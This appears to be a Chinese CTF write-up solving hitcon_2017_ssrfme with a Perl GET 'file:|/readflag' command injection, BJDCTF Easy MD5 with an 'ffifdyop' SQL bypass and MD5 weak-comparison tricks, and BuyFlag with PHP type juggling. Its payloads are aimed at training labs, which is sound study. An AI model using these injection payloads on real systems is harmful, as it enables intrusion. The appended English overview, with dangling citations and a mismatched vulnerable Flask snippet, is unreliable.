hitcon_2017_ssrfme、[BJDCTF2020]Easy MD5、[极客大挑战 2019]BuyFlag

hitcon_2017_ssrfme

进入环境给出源码

<?php 
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) 
    {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }
    echo $_SERVER["REMOTE_ADDR"];
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox); 

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__); 
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); 

这里GET一开始确实不知道有什么用,以为是get传参,但是想想又不明白,根据题解的意思应该是perl中的——一种语言

根据题解,GET应该是可以读文件的,那我在kali中试一试

在这里插入图片描述

创建一个flag文件并读取

echo flag{} > flag
GET ./flag

在这里插入图片描述

读取根目录

在这里插入图片描述

代码一开始创建了一个沙盒文件夹,路径为sandbox/加上MD5加密过后的orange加页面输出的ip

在这里插入图片描述

使用上面方法我们就可以在靶机里找flag了,一般flag在根目录下,payload

http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/?url=/&filename=233
http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/sandbox/230317844a87b41e353b096d0d6a5145/233

在这里插入图片描述

有flag和readflag但是flag读不到,多半是没有权限,只能通过readflag来实现了

GET底层实现使用的是open函数,open函数可以执行命令,我们可以通过GET来执行命令

1、open命令执行(|没搞明白)

open(FD,'|id')
print <FD>

而perl里的GET函数底层就是调用了open处理,如下84与132行

file.pm
84: opendir(D, $path) or
132:    open(F, $path) or return new

当GET使用file协议的时候就会调用到perl的open函数

在这里插入图片描述

发现了这一点我们就可以构造payload了

?url=&filename=|/readflag
?url=file:|/readflag&filename=abc
http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/sandbox/230317844a87b41e353b096d0d6a5145/abc

这样就能获得flag

在这里插入图片描述

[BJDCTF2020]Easy MD5

进入环境用浏览器自带的开发者工具抓一下包,发现头部有提示

在这里插入图片描述

这里查一下md5函数,当存在参数true时,使用原始16字符二进制格式,找到ffifdyop字符串经过MD5哈希之后,会变成276f722736c95d99e921722cf9ed621c,mysql会把hex当作Ascii码来解释所以这几个字符相当于:’ or '6xxxxxxx。这就相当于一个万能密码了我们来试试

成功登入然后我们查看网页源码

在这里插入图片描述

得到一些新的提示这就很明显是一个md5弱类型比较,我们到网上找一些以0e开头的md5值

在这里插入图片描述

用上图任意俩个值分别别传给a和b(通过get方式)给出如下payload

?a=QNKCDZO&b=240610708

然后又得到部分源码

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

在这里需要通过Post方式传入两个值,并且这两个值要求不相等且md5加密后要全等,这就又有个矛盾了,这里有嘚用一次md5弱类型比较,给这俩个值当成数组赋值这样一来就能成功绕过(如果这里不懂md5弱类型比较建议百度一下

我这里使用curl传送payload

curl -d "param1[]=1&param2[]=2" -s "http://5d01309a-5251-4791-b9b3-ee9c1facee0e.node4.buuoj.cn:81/levell14.php"

成功取得flag

在这里插入图片描述

[极客大挑战 2019]BuyFlag

进入环境点击menu后点击payflag然后我们查看网页源代码发现一些提示

<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->

需要post传入一个password我们既要password不能为数字且password需要为404,但是在这里我们看见比较符号为==所以这里可以使用弱类型绕过我们传入404b即可绕过过滤

在这里我们用bp抓完包我们注意这里需要更改

在这里插入图片描述

默认这里是0我们需要改为1

在这里插入图片描述

password传入值,但是发包回显钱不够

在这里插入图片描述

这里可以猜测一下钱的变量为money我们尝试更改钱的数量

在这里插入图片描述

在这里插入图片描述

数字太长我们尝试一下科学计数法

在这里插入图片描述

在这里插入图片描述

这样我们就能获得flag

### HITCON 2017 SSRF Challenge Overview The **HITCON 2017 CTF** featured a variety of challenges, including those related to Server-Side Request Forgery (SSRF). These challenges were designed to test participants' understanding of web application vulnerabilities and their ability to exploit them effectively. One notable challenge was the **SSRFme task**, which involved exploiting an SSRF vulnerability within a PHP-based system. The provided code snippet demonstrates how the `$_SERVER['HTTP_X_FORWARDED_FOR']` variable is manipulated by splitting its value using commas as delimiters[^5]. This manipulation allows attackers to control the `$http_x_headers[0]` value, potentially leading to unauthorized access or command execution scenarios. In another instance, contestants had to leverage file-writing capabilities through GET requests combined with filename parameters[^4]. By carefully crafting filenames that included shell commands such as `/readflag`, they could execute arbitrary commands on the server side. Specifically: - A request like `/?url=/&filename=aaa` would create a new file named after the specified parameter. - Subsequent exploitation steps allowed reading sensitive files from restricted directories via crafted URLs incorporating malicious payloads into both query strings (`?`) and headers. Additionally, there exists documentation regarding similar exercises where users reconstruct past competitions’ problems locally for practice purposes&mdash;such efforts often involve setting up Docker containers mimicking original environments accurately so learners may gain hands-on experience without needing direct participation during actual events themselves[^1]. For further exploration beyond just theoretical knowledge about these types of attacks but also practical implementations thereof consider reviewing additional resources discussing advanced techniques surrounding path traversal exploits alongside other common injection vectors present throughout modern-day applications today too! ```python import os from flask import Flask, request app = Flask(__name__) @app.route('/') def index(): url = request.args.get('url', '') filename = request.args.get('filename', 'default.txt') try: response = open(url) # Vulnerable line due to lack of validation content = response.read() with open(f"/tmp/{filename}", "w") as f: f.write(content) return f"Content written successfully to {filename}" except Exception as e: return str(e), 400 if __name__ == '__main__': app.run(debug=True) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值